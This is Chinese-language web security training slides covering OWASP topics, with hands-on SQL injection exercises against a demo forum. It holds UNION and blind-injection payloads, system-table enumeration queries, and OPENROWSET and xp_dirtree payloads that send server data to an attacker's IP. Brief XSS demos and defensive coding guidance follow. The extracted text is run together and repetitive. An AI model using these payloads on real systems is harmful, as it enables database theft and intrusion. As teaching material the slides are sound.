selectname,age,passwordfromusersFact:大多數(shù)程序員都注意到了’的問題,他們用’’來代替用戶輸入的’,從而防止字符串SQL注入;但很多人缺忽略了同樣嚴重的數(shù)字注入問題。其防范方法是檢查用戶輸入的數(shù)字是否合法。Union暴庫是常見的注入方法Union語法要求前后兩句SQL中Select的數(shù)據(jù)項類型和數(shù)量一致;這兩句sql都符合string,int,string的模式>999是不可能符合的條件,這樣union的結(jié)果就只剩第二句sql查詢的內(nèi)容SQLInjection:數(shù)字參數(shù)管理員程序員考慮的場景:打開培訓示范論壇,不用登錄,直接查看用戶屬性SQLInjection:Case學員練習20Min打開培訓示范論壇,不用登錄,直接查看用戶屬性SQLInje一個簡單的測試顯示這里可能存在注入漏洞。從錯誤看出是MSSQLServer。從鏈接的形式id=?來看應(yīng)該可能是數(shù)字型。因此’報錯是必然的。從報錯來看,程序員把’替換成了’’SQLInjection:Step1學員練習20Min一個簡單的測試顯示這里可能存在注入漏洞。從錯誤看出是MSS用—試驗,發(fā)現(xiàn)出來了一部分數(shù)據(jù),test用戶名及其email地址,這證明至少有一條SQL正確運行。但是依然有SQL報錯,很可能是后臺有兩條SQL語句都分別用到了id變量,而兩語句使用的環(huán)境不同。SQLInjection:Step2學員練習20Min用—試驗,發(fā)現(xiàn)出來了一部分數(shù)據(jù),test用戶名及其email實際情況是第一條SQL是whereid=?…,第二條SQL是where(xx=xx)and(id=?)。因此要第二條不錯,id只能用2)--,但這樣第一條又會出錯,難以兩全。從錯誤行號來看,第一句SQL位于84行,第二句SQL位于207行。SQLInjection:Step3學員練習20MinSQLInjection:Step3學員練習對于Select查詢,幾乎都可以用Union查詢來暴庫。Union要求前后兩句對應(yīng)的數(shù)據(jù)項數(shù)量相同,類型一致,因此需要首先檢查第一句SQL的數(shù)據(jù)項數(shù)量。方法是用orderbyn,逐步增加n。SQLInjection:Step4學員練習20Min對于Select查詢,幾乎都可以用Union查詢來暴庫。SQN=30正常,N=31錯誤!因此第一句SQL有30項。SQLInjection:Step5學員練習20MinN=30正常,N=31錯誤!因此第一句SQL有30項。SQL由于union還要求類型一致,30項要逐個猜測類型是不現(xiàn)實的,因此用通配符null!準備30個null。提示這個錯誤的原因說明前一句sql中有image類型,而union缺省是distinct的,要解決這個問題,使用unionall即可。SQLInjection:Step6學員練習20Min由于union還要求類型一致,30項要逐個猜測類型是不現(xiàn)實的使用UnionAll后,終于又看到了test的信息。SQLInjection:Step7學員練習20Min使用UnionAll后,終于又看到了test的信息。SQL調(diào)整union第一句的條件為“不可能滿足”,這樣顯示出來的始終是第二句,即使為nullSQLInjection:Step8學員練習20Min這兩個位置顯示的是30項null中的某兩個。因此可以利用這里來回顯信息!調(diào)整union第一句的條件為“不可能滿足”,這樣顯示出來的始需要找到這兩個數(shù)據(jù)位于30個null中的何處。首先試驗把第二個null換成字符型的’null’。錯誤提示不是告訴類型不匹配,而是說有語法錯誤。從而再次確認:開發(fā)者用’’替換了‘。SQLInjection:Step9學員練習20Min需要找到這兩個數(shù)據(jù)位于30個null中的何處。首先試驗把第二要寫出不帶’的sql語句并不困難。如果您對SQL語法熟悉的話,就知道有一個char函數(shù)可供利用。SQLInjection:Step10學員練習20Min64是@的ASCII碼數(shù)值,10進制。@成功回顯要寫出不帶’的sql語句并不困難。如果您對SQL語法熟悉的話SQLInjection:Step11學員練習20Min第二個null位置回顯于此處試出兩個回顯點的位置:第四個null位置回顯于此處SQLInjection:Step11學員練習第二個nuSQLInjection:Step12學員練習20Min把后面的sql替換成selectnull,password,null,...,nullfromusers的形式,希望能顯示一個密碼,但是失敗了。系統(tǒng)不存在users表。再猜測幾個表發(fā)現(xiàn)依然失敗??磥韮H僅靠猜測是不行的。SQLInjection:Step12學員練習把后面的s不同的數(shù)據(jù)庫都有系統(tǒng)表,可以利用來枚舉表結(jié)構(gòu)在不同的DBMS枚舉表結(jié)構(gòu)MSSQLSELECTnameFROMsyscolumnsWHEREid=(SELECTidFROMsysobjectsWHEREname=‘表名')sp_columnstablename(這個存儲過程可以列舉表的字段名)MySQLshowcolumnsfromtablenameOracleSELECT*FROMall_tab_columns

WHEREtable_name=‘表名'不同的數(shù)據(jù)庫都有系統(tǒng)表,可以利用來枚舉表結(jié)構(gòu)在不同的DBMS數(shù)據(jù)庫系統(tǒng)表OracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOGMySQLmysql.usermysql.hostmysql.dbMSAccessMsysACEsMsysObjectsMsysQueriesMsysRelationshipsMSSQLServersysobjectssyscolumnssystypessysdatabases數(shù)據(jù)庫系統(tǒng)表OracleMSAccessSQLInjection:Step13學員練習20Min查詢一下是否有列名為pass(word)的表,首先簡單測試一下:Selectnamefromsyscolumnswherenamelike‘%p%’結(jié)果提示錯誤!原因:服務(wù)器自動進行URL解碼。除了把%20轉(zhuǎn)化為空格外,還會把+轉(zhuǎn)化為空格。因此數(shù)據(jù)庫查詢變成了like‘%’‘p’‘%’SQLInjection:Step13學員練習查詢一下是SQLInjection:Step14學員練習20Min解決辦法:用+的URL編碼后的形式%2B,服務(wù)器解碼后就成了+。結(jié)果如下:有一列為parent_obj符合條件SQLInjection:Step14學員練習解決辦法:SQLInjection:Step15學員練習20Min下面的查詢列出所有含有類似pass列的表名和列名:Select,fromsyscolumns,sysobjectswherelike‘%pass%’andsysobject.type=‘U’andsysobject.id=syscolumns.id系統(tǒng)中有一個FORUM_FORUM表,含有一列F_PASSWORD_NEWSQLInjection:Step15學員練習下面的查詢SQLInjection:Step16學員練習20Min但是我們對Forum_Forum這個表不感興趣,所以查一下結(jié)果數(shù)目。使用count(*)查詢結(jié)果為2;SQLInjection:Step16學員練習但是我們對SQLInjection:Step17學員練習20Min因此對后一句使用orderby2desc(可以反復多試一下不同的排序方式)直到最后顯示出表名FORUM_MEMBERS中含有M_PASSWORD列;SQLInjection:Step17學員練習因此對后一SQLInjection:Case學員練習20Min猜測還有M_NAME一列。最后查詢出系統(tǒng)含有admin用戶,其口令為admin。SQLInjection:Case學員練習猜測還有M_NA充分利用系統(tǒng)的錯誤提示信息;充分利用union查詢,這種方式幾乎適合于所有的數(shù)據(jù)庫類型,是最為普遍的一種暴庫方法;union時首先利用orderby檢查數(shù)據(jù)項,再用null做通配滿足數(shù)據(jù)類型一致,注意使用unionall;充分利用系統(tǒng)回顯,如果回顯只能顯示一項數(shù)據(jù),那么對union之前的查詢設(shè)置“不能滿足的條件”,對union之后的語句采用orderby調(diào)整顯示的順序;結(jié)合系統(tǒng)表枚舉表結(jié)構(gòu);注意利用特殊方法來繞開系統(tǒng)的過濾,如char()繞開對’的過濾;注意“加號”的URL編碼;注意考慮程序員的習慣,例如asp里程序員一般都會把’用’’代替,但是有時候會忽略數(shù)字項的注入漏洞。例如根據(jù)列名M_PASSWORD可以猜測出還有一列名為M_NAME總結(jié)總結(jié)盲注入(BlindInjection):如果系統(tǒng)屏蔽了詳細的錯誤信息,那么對攻擊者而言就是盲注入。盲注入并非是全盲,可以充分利用系統(tǒng)的回顯空間;例如前面的實例,對于有經(jīng)驗的攻擊者,完全可以拋開那些錯誤信息直接注入。如果連回顯也沒有(比如Mysql4.0版本以下不支持UNION查詢),那么就要利用在正確與錯誤之間,依然可以獲取的1Bit的信息量;如果看不到具體的錯誤信息:盲注入盲注入(BlindInjection):如果系統(tǒng)屏蔽了詳細andexists(select*fromadminwhereid=1andlen(name)<10),返回正常說明長度小于10,andexists(select*fromadminwhereid=1andlen(name)>5),返回正常說明長度大于5,andexists(select*fromadminwhereid=1andlen(name)>7),返回錯誤說明長度小于7,……andexists(select*fromadminwhereid=1andmid(password,1,1)>=’a’),返回正常說明密碼第一個字符是英文(’0’=48,’a’=65,’A’=97),andexists(select*fromadminwhereid=1andmid(password,1,1)<=’z’),返回正常說明密碼第一個字符是小寫英文(’0’=48,’a’=65,’A’=97),andexists(select*fromadminwhereid=1andmid(password,1,1))<=’m’,返回錯誤說明密碼第一個字符在n到z之間,……最好用工具,例如前面提到的Formbrute;要利用數(shù)據(jù)庫字符串處理函數(shù)如mid,len,left等等,不同數(shù)據(jù)庫有差異,最好有速查手冊。

二分法盲注入示例andexists(select*fromadmi各系統(tǒng)的區(qū)別(字符串處理)MSSQLMySQLAccessOracle長度len(’abc’)=3length(’abc’)=3len(’abc’)=3length(’abc’)=3截取左右left(‘a(chǎn)bc’,2)=‘a(chǎn)b’right(‘a(chǎn)bc’,2)=‘bc’left(‘a(chǎn)bc’,2)=‘a(chǎn)b’right(‘a(chǎn)bc’,2)=‘bc’left(‘a(chǎn)bc’,2)=‘a(chǎn)b’right(‘a(chǎn)bc’,2)=‘bc’用substr代替截取中間substring(’abc’,2,1)=’b’substring(’abc’,2,1)=’b’mid(’abc’,2,1)=’b’mid(’abc’,2,1)=’b’substr(’abc’,2,1)=’b’字符串連接''+''concat("","")""&""''||''各系統(tǒng)的區(qū)別(字符串處理)MSSQLMySQLAccess各系統(tǒng)的區(qū)別(二)MSSQLMySQLAccessOracle聯(lián)合查詢YN<4.0Y4.0YY子查詢YN<4.1

Y4.1NY多句查詢YNNN默認存儲過程非常多NN非常多各系統(tǒng)的區(qū)別(二)MSSQLMySQLAccessOrac高級SQL注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于SQLServer:黑客在本地運行SQLServer,并創(chuàng)建一個與服務(wù)器端target_table結(jié)構(gòu)一樣的表my_table,就可以利用此命令將服務(wù)器表的數(shù)據(jù)全部導到本地;其中sa:Pass123是黑客SQLServer的登錄信息,myIP是黑客的IP地址,80是SQLServer端口(缺省情況下不是80,這樣是方便反彈連接)Bubble';insertintoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select*frommy_table')select*fromtarget_table--高級SQL注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于SQLS高級SQL注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于SQLServer:在服務(wù)器端創(chuàng)建temp_table6后,黑客利用此實例所示的xp_dirtree功能查看c:\inetpub下的文件列表,并導出到黑客本地的temp_table6中;可以更換c:\inetpub這個參數(shù)為其他目錄,反復使用此語句,從而對服務(wù)器文件目錄有全面了解。采用/**/作為分割符的原因是這個注入點過濾了空格。Bubbledelete/**/from/**/temp_table6;insert/**/into/**/temp_table6/**/exec/**/master.dbo.xp_dirtree/**/'c:\inetpub';insert/**/into/**/OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select/**/*/**/from/**/temp_table6')select/**/*/**/from/**/temp_table6;--高級SQL注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于SQLS高級SQL注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于Oracle9i及其以上版本:第一句查詢當前數(shù)據(jù)庫表中的用戶表(非系統(tǒng)表),并獲取排名最前的一個,假設(shè)返回結(jié)果為SYS_GN。第二句查詢將所有的用戶表名連接為一個字符串輸出,適合于只有一個回顯點時探測數(shù)據(jù)庫結(jié)構(gòu)。Bubbleselecttable_namefromuser_tablesorderbytable_name;selectmax(sys_connect_by_path(table_name,','))from(selecttable_name,lag(table_name)over(orderbytable_name)aslagcol,rownumasrnfromuser_Tableswhererownum<=100)startwithtable_name='SYS_GN'connectbylagcol=priortable_name類似這樣的例子數(shù)不勝數(shù)。高級數(shù)據(jù)庫往往提供了強大的特殊功能。這些功能并非標準SQL規(guī)定的內(nèi)容。因此對數(shù)據(jù)庫產(chǎn)品熟悉有助于實現(xiàn)更強的注入攻擊。高級SQL注入:利用數(shù)據(jù)庫的高級特性上述語句僅限于Oracl防范SQL注入:SecureSDLC需求分析設(shè)計實現(xiàn)測試安全需求工程設(shè)計安全發(fā)布安全編碼補丁管理配置加固軟件黑盒測試滲透性測試代碼安全審計安全軟件開發(fā)生命周期依然是Web安全的基石。編碼階段:安全編碼規(guī)范(輸入驗證、遵循安全SQL編碼規(guī)范)測試階段:代碼審計、SQL注入測試等,可手工也可以結(jié)合自動工具部署階段:數(shù)據(jù)庫安全加固、Web應(yīng)用防火墻、IDS/IPS防范SQL注入:SecureSDLC需求分析設(shè)計實現(xiàn)測試安安全編碼安全編碼不難,真正困難的是如何做到全面安全,這需要良好的程序設(shè)計以及編碼習慣。支離破碎的設(shè)計與隨意混雜的編碼難以開發(fā)出安全的系統(tǒng)。各種語言與數(shù)據(jù)庫的實際情況也有所區(qū)別,所以需要具體問題具體分析。1.輸入驗證數(shù)字型的輸入必須是合法的數(shù)字;字符型的輸入中對’進行特殊處理;驗證所有的輸入點,包括Get,Post,Cookie以及其他HTTP頭;2.使用符合規(guī)范的數(shù)據(jù)庫訪問語句正確使用靜態(tài)查詢語句,如PreparedStatement安全編碼安全編碼不難,真正困難的是如何做到全面安全,這需要良PHP:magic_quotes_gpc但是在上面的代碼示范中,攻擊者可以利用%2527繞過這項過濾。原因是服務(wù)器首先URL解碼將%2527解碼為%27,然后經(jīng)過magic_quotes_gpc過濾時不做處理,最后在代碼處又進行一次urldecode,%27被解碼為’,從而繞開了PHP缺省的過濾機制。$magic_quotes_runtime=“on”;$url=urldecode($_REQUEST[‘url’]);$query=“INSERTINTOtbl_links(type,url)VALUES(1,‘$url’)”;高版本PHP缺省設(shè)置magic_quotes_gpc為打開,這樣一切g(shù)et,post,cookie中的’,’’,\,null都將被特殊處理為\’,\’’,\\,\0,可以防范大多數(shù)字符串SQL注入以及前面提到的空字節(jié)注入。PHP:magic_quotes_gpc但是在上面的代碼示范JSP:PreparedStatement在JSP中要禁止使用Statement,如下的代碼會導致SQL注入:BubbleStringsql=“select*fromUserswherename=”+name;

PreparedStatementpstmt=con.prepare(sql);Stringsql=“select*fromproductwherecat=’?’andprice>’?’”

PreparedStatementpstmt=con.prepare(sql);

pstmt.setInt(1,request.getParameter(“cat”));

pstmt.setString(2,request.getParameter(“price”));

ResultSetrs=pstmt.executeQuery();Statementstmt=con.createStatement();stmt.executeUpdate("select*fromUserswherename="+name);

應(yīng)當全部使用PreparedStatement來防止SQL注入但是在使用PreparedStatement,也要注意符合編碼規(guī)范,如下的方法也會導致SQL注入:安全危險危險JSP:PreparedStatement在JSP中要禁止使ASP.NET:SqlParameterCollection在ASP.NET中要使用SqlParameterCollection來防止SQL注入:BubbleSqlDataAdaptermyDataAdapter=newSqlDataAdapter("SELECTau_lname,au_fnameFROMAuthorsWHEREau_id=@au_id",connection);myCommand.SelectCommand.Parameters.Add("@au_id",SqlDbType.VarChar,11);myCommand.SelectCommand.Parameters["@au_id"].Value=SSN.Text;myDataAdapter.Fill(userDataset);總結(jié):JSP實例中的setInt,setString,ASP.NET實例中的SlqDbType.VarChar都充分利用了語言本身提供的功能去進行強類型檢查。而最早的ASP就缺乏這種機制,這也是為何ASP是最容易進行SQL注入的語言。ASP.NET:SqlParameterCollection數(shù)據(jù)庫加固:最小權(quán)限原則除了在代碼設(shè)計開發(fā)階段預(yù)防SQL注入外,對數(shù)據(jù)庫進行加固也能夠把攻擊者所能造成的損失控制在一定范圍內(nèi);主要包括:禁止將任何高權(quán)限帳戶(例如sa,dba等等)用于應(yīng)用程序數(shù)據(jù)庫訪問。更安全的方法是單獨為應(yīng)用創(chuàng)建有限訪問帳戶。拒絕用戶訪問敏感的系統(tǒng)存儲過程,如前面示例的xp_dirtree,xp_cmdshell等等;限制用戶所能夠訪問的數(shù)據(jù)庫表;Bubble數(shù)據(jù)庫加固:最小權(quán)限原則除了在代碼設(shè)計開發(fā)階段預(yù)防SQL注入目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景注入攻擊五跨站腳本攻擊六GoogleHackOWASP漏洞攻防七目錄Web對象直接引用二三四惡意代碼執(zhí)行一背景跨站腳本:OWASP2007Top1andTop5A1跨站腳本CrossSiteScripting,簡稱為XSS如果Web應(yīng)用沒有對攻擊者的輸入進行適當?shù)木幋a和過濾,就轉(zhuǎn)發(fā)給其他用戶的瀏覽器時,可能導致XSS漏洞。攻擊者可利用XSS在其他用戶的瀏覽器中運行惡意腳本,偷竊用戶的會話,或是偷偷模擬用戶執(zhí)行非法的操作;發(fā)帖子,發(fā)消息腳本:Web瀏覽器可以執(zhí)行HTML頁面中嵌入的腳本命令,支持多種語言類型(JavaScript,VBScript,ActiveX,etc.),其中最主要的是JavaScript.跨站的含義:攻擊者制造惡意腳本,并通過Web服務(wù)器轉(zhuǎn)發(fā)給普通用戶客戶端,在其瀏覽器中執(zhí)行??赡軐е碌墓纛愋停罕I取用戶身份,拒絕服務(wù)攻擊,篡改網(wǎng)頁模擬用戶身份發(fā)起請求或執(zhí)行命令(及OWASPTOP5CSRF,在此一起介紹)蠕蟲,等等……Bubble跨站腳本:OWASP2007Top1andTop5持久XSS-攻擊簡介(PersistentXSS)1.正常服務(wù)器信息2.服務(wù)器存儲惡意代碼3.用戶瀏覽網(wǎng)頁4.服務(wù)器將惡意代碼返回給用戶5.客戶端瀏覽器執(zhí)行惡意代碼攻擊者普通用戶客戶端Web服務(wù)器在論壇發(fā)帖子:免費獲取Q幣!??!<script>惡意代碼</script>重要通知Re:沙發(fā)??!Re:地板?Re:地下室沙發(fā)……Re:地下室地板-_-!!Re:免費獲取Q幣?。?!內(nèi)容:<script>惡意代碼</script>Re:誰又發(fā)垃圾廣告啦?惡意代碼執(zhí)行!21345持久XSS-攻擊簡介(PersistentXSS)1.正持久XSS攻擊實驗Step1.以test用戶登錄培訓論壇發(fā)表新帖子,內(nèi)容如下:<script>alert(‘hello’)</script>學員練習3Min持久XSS攻擊實驗Step1.以test用戶登錄培訓論壇發(fā)持久XSS攻擊實驗Step2.以admin用戶登錄培訓論壇瀏覽剛才那個新帖子。學員練習3Min惡意代碼執(zhí)行!持久XSS攻擊實驗Step2.以admin用戶登錄培訓論壇瀏覽器瀏覽器Outlook正常訪問惡意代碼隱藏在鏈接中“reflected”代碼1反射XSS-攻擊簡介(ReflectedXSS)From:攻擊者To:用戶免費贈送Q幣!??!CLICKHERE惡意代碼安全上下文:目標站點普通合法會話安全上下文:目標站點攻擊者Web服務(wù)器普通用戶客戶端12345惡意代碼執(zhí)行!瀏覽器瀏覽器Outlook正常訪問惡意代碼隱藏在鏈接中“re反射XSS攻擊實驗Step1.以test用戶登錄培訓論壇發(fā)表新帖子,在瀏覽器網(wǎng)址處修改Forum_Title參數(shù),觀察結(jié)果:學員練習3MinURL中的字符通過服務(wù)器“反射”到瀏覽器中反射XSS攻擊實驗Step1.以test用戶登錄培訓論壇發(fā)反射XSS攻擊實驗Step1.把Forum_Title修改為:<script>alert(‘hello’)</script>學員練習3MinURL中的字符通過服務(wù)器“反射”到瀏覽器中惡意代碼執(zhí)行!反射XSS攻擊實驗Step1.把Forum_Title修什么是CSRF?案例:支持通過保留cookie自動登錄的功能,這樣在cookie有效期內(nèi),用戶訪問就會以他們上次在此主機登錄的用戶名自動登錄(例如Gmail的Remembermeonthiscompu

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論